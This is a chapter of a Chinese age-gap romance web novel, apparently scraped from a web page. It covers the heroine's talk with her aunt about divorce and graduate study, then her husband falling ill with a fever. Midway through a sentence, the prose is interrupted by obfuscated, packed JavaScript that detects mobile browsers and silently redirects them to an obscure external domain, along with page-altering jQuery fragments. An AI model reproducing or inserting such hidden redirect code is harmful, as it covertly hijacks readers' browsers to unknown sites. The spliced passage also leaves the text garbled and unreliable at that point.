20. Chapter 20

作品:《絮语[年龄差]

    常胜楠开车带着常絮语,慢慢往外面开,常絮语心不在焉,一眨不眨地看着车窗外的霓虹,渡过一片水域,岸对面的酒馆拉着灯,五颜六色,格外显眼好看。


    “絮语,你要回家,还是跟姑姑走?”


    常胜楠轻声问。


    常絮语回过神,转头看向姑姑,舒了口气想了想,缓声:“姑姑,我们找个地方坐一坐吧,快天亮了。”


    她想着,易焯还在家睡着,没人管还怪可怜的,毕竟他也是狠狠为她出了气,还受了伤,于情于理,她应该照顾他。


    常絮语抿抿唇瓣,从包里掏出两颗薄荷糖,给常胜楠一颗,自己含在嘴里一颗。


    瞬间清醒了。


    她其实已经很困了。


    终于知道易焯为什么这么喜欢吃薄荷糖了,原来是这样的感觉,在她面前他真的很少抽烟,反而更多的是薄荷的存在,只一颗就能彻底清醒。


    想到那天去他工作室的场景,一张手稿的草图都那么复杂,他平时应该会很累吧。


    常絮语叹了口气,安安静静的等待嘴里的薄荷糖化干净。


    常胜楠想到一个好地方,将车拐了个弯。


    到了地方,是一家二十四小时营业的店,招牌是英文名字,具体看不出来是做什么营生的,常胜楠拉着她走进去,里面的环境昏暗,只留着几个小灯,店面不大,堪堪能坐下几桌客户而已。


    正对面的最靠里坐着一桌人,举着大啤酒杯吃饭,时不时欢呼。


    柜台只有一个正在擦拭酒瓶的男人,留着黑白掺半的胡子,头发不算长,却打理的很好。


    男人抬眸,看见常胜楠,放下手中的活对她笑了笑,又看见常胜楠身后的年轻女孩,问:“这位是...”


    常胜楠拉着常絮语,笑着答,这是侄女。


    男人眸中闪过一丝别样的情绪,看着常絮语忽然笑了:“你就是胜楠常常提到的那个在央美念书的侄女啊,后生可畏啊。”


    常絮语轻轻弯了弯唇,对他点了点头:“您过誉了。”


    想着,这个叔叔应该是姑姑的朋友。


    男人招呼两人坐下来,常胜楠说不要酒,简单聊了两句,不一会,男人端来盘金枪鱼色拉,还有盘天妇罗。


    “以后白天可以过来吃生鱼片,这里日料是招牌。”


    男人对常絮语说完,转身回到柜台去。


    他的口音有点奇怪,常絮语应声,拾掇起叉子吃色拉,她不太吃得惯这些,味道却意外的好。


    常胜楠舒了一口气,问常絮语要跟她说什么。


    常絮语将嘴里的果蔬咽下去,说要考研的事。


    常胜楠攥着叉子的手上动作顿了顿,沉默片刻,“嗯”了一声。


    “那...你跟易焯。”


    “我打算惊蛰那天把婚离掉,”她闭了闭眼,“姑姑,我真的没有精力。”


    常胜楠知道她一直都是很有想法的孩子,也理解她,就是莫名有点可怜易焯。


    易焯年纪比常絮语大一些,他们之前的事,常胜楠都是知道的,就是不能对常絮语和盘托出。他这个人心好,最重要的是肯为絮语花心思,其实结婚就是两个人过日子那么回事,能遇到这么一个男人也不容易,可在常絮语心里,对易焯的感情没有那么重要。


    至少,没有重要到要耽误她自己规划好的事。


    “行,姑姑都支持你,考研期间,你就搬到姑姑这里住,我白天一般在忙,很少回家,你就安安心心的学习、画画,我不会打扰你。”


    “谢谢姑姑。”


    常絮语心中一动。


    常胜楠张了张口,捣着盘子里一片黄瓜,欲言又止。


    常絮语知道姑姑要说什么,她顿了顿,微微低着头,缓声:“我知道,这样对他不公平,以后,我会尽力补偿他...”


    虽然,她也不知道究竟要怎样补偿被伤害过的人心。


    是她辜负了易焯的感情,这点她承认。


    常胜楠伸手抚了抚常絮语的发顶,抿抿唇,轻笑:“傻孩子,只要有姑姑在,不会让你受委屈的,补偿的事,姑姑替你说。”


    闻言,常絮语摇了摇头,目光坚定而执着,毅然道:“不,姑姑,是我亏欠下来的事,必须要我自己承担,不然不会真正的平息,尤其是我和他之间的事。”


    *


    回到家的时候,天已经蒙蒙亮了,晨晓初显,她只觉身上满是疲惫。就算有几抹太阳光照在身上,她也觉察不到温暖。


    走进卧房,床上的人睡的似乎不太好,眉头紧紧皱在一起,喘气急湍,身上的酒意未散。


    常絮语凑近看他,心道这一觉大概会睡得很长。


    她从浴室出来,身上穿着丝绸的睡裙,轻轻掀开被褥躺进去,缓缓舒了口气,背对着易焯,合上眼睛。


    过了一会,她又稍稍挪动着身子,慢慢的往他身边靠——


    这边空间太小了,她翻不了身,还是往里面睡一点吧。


    腰忽然被一双强而有力的胳膊箍住,她一惊,险些叫出声。


    小腹一热,易焯抱着她翻了个面,将人圈在怀里,她的脸对着他半敞开的胸襟,能清楚看见黝黑的壮硕的肌肉。她的额头距离他的锁骨仅差两厘米,微微抬眼就能瞥见男人滚动的喉结。


    她耳尖瞬时红了。


    他声音暗哑低沉,与之前餍足后的状态不一样,掺着些压抑的情绪。


    “回来了?”


    “…嗯。”她轻声回应。


    “你怎么醒了?我还以为我很小声。”


    “早就醒了,就是头疼,不想睁眼,”他皱着眉弯唇,“本来想煮点饭,觉得你不会回来,干脆就不煮了。”


    “我不回来你也要吃饭。”


    常絮语下意识教训他,他老是这样,吃饭的时间从不统一,有一顿没一顿的,胃都被折腾成什么样子了?就算她不在,他自己也要吃饭啊。以后他们就更不会见面了,他是想把自己的身体搞垮吗?


    老仗着自己一身肌肉就说身体素质好,再壮也禁不住他这样糟蹋啊。


    她抿唇,有点生气。


    男人掀眼,瞥见她带着红血丝的眼睛,心一沉,眸中黯淡下去,带着歉意道:“这次是我冲动了,给你添麻烦了…”


    他当时顾不了那么多了,在酒精的催使下,他心里气的发疯,攥着拳头,只想马上见到那个男人将他摁在地上打——


    事后,他断片了。


    越来越醉,恍惚间好像见到了常絮语,他将她紧紧抱在怀里,生怕她离开他,就再也见不到了。


    他嗅着她发间的、衣角上的馨香,努力让自己克


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471082|185189||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    制下来,可他越能感觉到她的存在,越为之疯魔迷离,最后什么也不愿想,只想赖在她身边,能久一些就是一些。


    常絮语看着他跟顺了毛的狼狗一样蔫巴,瞬间没了气,心里再大的焰火也被他这一腔冰凉的样子的浇灭了。


    她回抱住他,小心的凑在他耳边笑。


    “没事,我不怪你的。”


    不知道为什么,还有点开心。


    她抿抿唇,乖乖的窝在他臂弯里。


    “我现在不是做梦?”


    他恍惚问道。


    常絮语觉得不对劲,感觉他今天的怀抱要比平时暖和许多。北方开着暖气,不过她天生气血不足,睡着睡着就爱滚到暖和的地方去,自然就被他顺理成章的抱在怀里。但今天感觉不太一样,热的过分。


    她伸手摸了摸他的发额,一惊,这么烫?


    觉是不敢睡了,她得起来。


    “易焯,易焯,你发烧了。”


    常絮语将体温计塞给他,抚着他发烫的额头,在他耳边轻轻唤他。


    唉,早该想到的。


    体温计拿出来,果然已经三十八度五了。


    常絮语又想生气了。


    她在家里翻箱倒柜,空空如也,一瓶有用的药都没有,只有几瓶他买来的维生素,给他喂下去几片,也没什么大用处。


    在房间里踱步,她恍然,这个家已经不能被称作是“家”了,应该说是,从来没有过。


    当初他问过她要怎么样布置,可她连具体用的什么话搪塞他的都忘记了。根本没放在心上,就是觉得搭伙过日子,凑合就算了。后来两个人经常不着家,她更是没管过这个家的一切用度,好像都是他在采买打扫。


    空荡荡的生活,就像他独自在烟台抽烟,那样寒冷寂寞。


    可她从来没有在乎过。


    连他喜欢什么牌子的香烟都不曾过问一句。


    也亏得现在翻箱倒柜找不到一瓶药。


    “宋医生的电话,给我。”


    她轻叹,走到他身边。


    “152…”他念。


    “嗯好。”


    电话打通了,常絮语出了房门。


    过了一会,宋舒珩熟练的发给她一张开药单:“我等会有场手术,走不开,你先照这个单子买药给他,如果晚上温度不退,我就过去。”


    说完,电话挂了。


    常絮语回到卧室看他一眼,却发现床上没了人影。


    正疑惑着,一转头,又落入一个发烫的怀抱。


    她呼吸一滞。


    易焯整个人罩着她,像把巨大的太阳伞,身上带着点荷尔蒙跟薄荷的气息。


    他唇色有些苍白,四周寂静无声,钟表“滴答滴答”的走着,两个人的心跳声慢慢重叠交织,她喘了口气,摸摸他的面颊,轻声哄道:“我一会就去给你买药,你是不是有点贫血呀?我给你做菠菜鸡蛋卷吃好不好?虽然你现在可能是吃不下,不过生病了还是要垫垫肚子…”


    在他不算清楚的视线里,她的唇瓣一张一合,范着点桃粉色,润润的。


    他鬼使神差的亲上去,辗转了下,没敢太过分。


    “陪我睡一会儿吧,比吃药管用。”他看着她,眼神里有不掺任何杂质的感情。


    她的世界忽然开始喧嚣。